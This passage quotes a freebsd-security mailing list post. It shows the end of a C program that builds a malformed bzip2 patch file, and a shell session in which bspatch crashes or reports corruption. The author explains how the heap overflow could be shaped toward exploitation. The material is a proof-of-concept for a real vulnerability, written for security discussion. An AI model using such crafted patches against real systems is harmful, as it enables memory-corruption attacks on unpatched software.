write(fd,"\x00\x00\x00\x00\x00\x00\x00\x00",8); > write(fd,"\x02\x00\x00\x80\x00\x00\x00\x00",8); > write(fd,buff,l); > l=sizeof(buff); > BZ2_bzBuffToBuffCompress(buff,&l,e,0x8fffffff,comp,0,0); > write(fd,buff,l); > close(fd); > free(e); > return 0; > } > [/CODE] > > [ms@dev4 ~/patch]$ cc -o bp bp.c -lbz2 > [ms@dev4 ~/patch]$ echo 123 > old > [ms@dev4 ~/patch]$ ./bp 1 patch > [ms@dev4 ~/patch]$ bspatch old new patch > Segmentation fault (core dumped) > [ms@dev4 ~/patch]$ ./bp 9 patch > [ms@dev4 ~/patch]$ bspatch old new patch > bspatch: Corrupt patch > > Counterintuitively, the segfault case is (currently) less dangerous > than > the error case. This is because the segfault arises from harmlessly > trashing the heap until an unmapped page is hit (though you never know > what the future - or creativity - brings). But taking a cue from a > comment in the exploit, I bumped up the compression to level 9, which > positioned a lot of libbz2 internal data after the buffer. This data > gets overwritten and could very likely be finessed to dangerous effect. > The error message is simply because after pulling out my hair to figure > out bspatch, I had no desire to follow the author down the rabbit hole > of bzip2/jemalloc/libc internals, which shall remain for me black > magic. > > Martin Schroeder > > ------------------------------------------------- > > ONLY AT VFEmail! - Use our Metadata Mitigator to keep your email out > of the NSA's hands! > $24.95 ONETIME Lifetime accounts with Privacy Features! 15GB disk! > No bandwidth quotas! > Commercial and Bulk Mail Options! > _______________________________________________ > freebsd-security@freebsd.org mailing list > https://lists.freebsd.org/mailman/listinfo/freebsd-security > To unsubscribe, send any mail to > "freebsd-security-unsubscribe@freebsd.org" >